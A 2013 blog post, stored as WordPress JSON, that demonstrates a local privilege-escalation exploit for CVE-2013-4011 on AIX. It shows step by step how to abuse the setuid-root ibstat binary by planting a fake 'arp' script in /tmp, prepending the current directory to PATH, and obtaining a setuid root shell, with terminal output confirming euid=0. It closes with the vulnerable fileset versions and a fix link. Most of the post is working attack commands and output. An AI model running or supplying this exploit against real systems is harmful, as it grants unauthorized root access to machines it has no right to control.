
{"id":37,"date":"2013-11-11T22:28:11","date_gmt":"2013-11-11T20:28:11","guid":{"rendered":"http:\/\/remchp.com\/blog\/?p=37"},"modified":"2013-11-11T23:19:36","modified_gmt":"2013-11-11T21:19:36","slug":"exploit-cve-2013-4011","status":"publish","type":"post","link":"https:\/\/futex.re\/blog\/?p=37","title":{"rendered":"Exploit CVE-2013-4011"},"content":{"rendered":"<p>In July 2013 we saw a new vulnerabilite on AIX, it&#8217;s possible to allow local users to gain privileges with a very simple way.<\/p>\n<p>The fail is due to a programming error in ibstat command<br \/>\n<code><br \/>\n(futex@aixbox) $ which ibstat<br \/>\n\/usr\/bin\/ibstat<br \/>\n(futex@aixbox) $ ls -l \/usr\/bin\/ibstat<br \/>\nlrwxrwxrwx\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 bin\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 16 01 oct 02:18 \/usr\/bin\/ibstat -&gt; \/usr\/sbin\/ibstat<br \/>\n(futex@aixbox) $ ls -l \/usr\/sbin\/ibstat<br \/>\n-r-sr-xr-x\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 bin\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 47388 12 nov 2012\u00c2\u00a0 \/usr\/sbin\/ibstat<br \/>\n<\/code><\/p>\n<p>After hunts, the real binary is \/usr\/sbin\/ibstat, and is setuid bit!<\/p>\n<p>With a simple string command, we can see which command the binary use<br \/>\n<code><br \/>\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep ifconfig<br \/>\nifconfig %s<br \/>\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep arp<br \/>\narp -t ib -a<br \/>\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep lsattr<br \/>\nlsattr -El %s<br \/>\n<\/code><\/p>\n<p>As we can see, all command are not call with her full path! So, we can exploit it easilly.<\/p>\n<p>We place ourselves in the tmp directory<br \/>\n<code><br \/>\n(futex@aixbox) $ cd \/tmp<br \/>\n<\/code><\/p>\n<p>And we create a script with the name of one command use in ibstat binary, his goal is just copy the shell binary in \/tmp and set setuit bit<br \/>\n<code><br \/>\n(futex@aixbox) $ vi arp<\/p>\n<p>#!\/bin\/sh<\/p>\n<p>cp \/bin\/sh \/tmp\/root<br \/>\nchown root \/tmp\/root<br \/>\nchmod 4755 \/tmp\/root<br \/>\n<\/code><\/p>\n<p>Don&#8217;t forget to set executable bit on the script<br \/>\n<code><br \/>\n(futex@aixbox) $ chmod 755 .\/arp<br \/>\n<\/code><\/p>\n<p>After, we change the PATH environnement variable:<br \/>\n<code><br \/>\n(futex@aixbox) $ PATH=.:${PATH}<br \/>\n(futex@aixbox) $ which arp<br \/>\n.\/arp<br \/>\n<\/code><\/p>\n<p>And launch ibstat command<br \/>\n<code><br \/>\n(futex@aixbox) $ ibstat -a -i en0<\/code><\/p>\n<p>ERROR: &#8220;\/dev\/en0&#8221;: open failed rc=2, errno=2<br \/>\nCheck device state of &#8220;icm&#8221; and &#8220;en0&#8221;.<\/p>\n<p>===============================================================================<br \/>\nIB INTERFACE ARP TABLE<br \/>\n===============================================================================<\/p>\n<p>\/tmp\/arp script is launch by ibstat command, this command have root owner and setuid bit, so it execute witch root priviliges, and lauch our script witch root privilege too \ud83d\ude42<\/p>\n<p><code><br \/>\n(futex@aixbox) $ ls -l \/tmp\/root<br \/>\n-rwsr-xr-x\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 sys\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 292606 14 oct 10:48 \/tmp\/root<br \/>\n(futex@aixbox) $ id<br \/>\nuid=1001(futex) gid=3(sys)<br \/>\n(futex@aixbox) $ .\/root<br \/>\n(futex@aixbox) $ id<br \/>\nuid=1001(futex) gid=3(sys) euid=0(root)<br \/>\n<\/code><\/p>\n<p>ibstat command is in devices.common.IBM.ib.rte fileset<\/p>\n<p>The following fileset levels are vulnerable:<\/p>\n<p><code><br \/>\nAIX Fileset Lower Level Upper Level<br \/>\n-------------------------------------------------------<br \/>\ndevices.common.IBM.ib.rte 6.1.6.0 6.1.6.21<br \/>\ndevices.common.IBM.ib.rte 6.1.7.0 6.1.7.18<br \/>\ndevices.common.IBM.ib.rte 6.1.8.0 6.1.8.15<br \/>\ndevices.common.IBM.ib.rte 7.1.0.0 7.1.0.21<br \/>\ndevices.common.IBM.ib.rte 7.1.1.0 7.1.1.18<br \/>\ndevices.common.IBM.ib.rte 7.1.2.0 7.1.2.15<br \/>\n<\/code><\/p>\n<p>You must upgrade your system, or install thie fix<\/p>\n<p><code><br \/>\nftp:\/\/aix.software.ibm.com\/aix\/efixes\/security\/infiniband_fix.tar<br \/>\n<\/code><\/p>\n<p>Rock it!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In July 2013 we saw a new vulnerabilite on AIX, it&#8217;s possible to allow local users to gain privileges with a very simple way. The fail is due to a programming error in ibstat command (futex@aixbox) $ which ibstat \/usr\/bin\/ibstat &hellip; <a href=\"https:\/\/futex.re\/blog\/?p=37\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37"}],"collection":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37"}],"version-history":[{"count":10,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37\/revisions"}],"predecessor-version":[{"id":49,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37\/revisions\/49"}],"wp:attachment":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}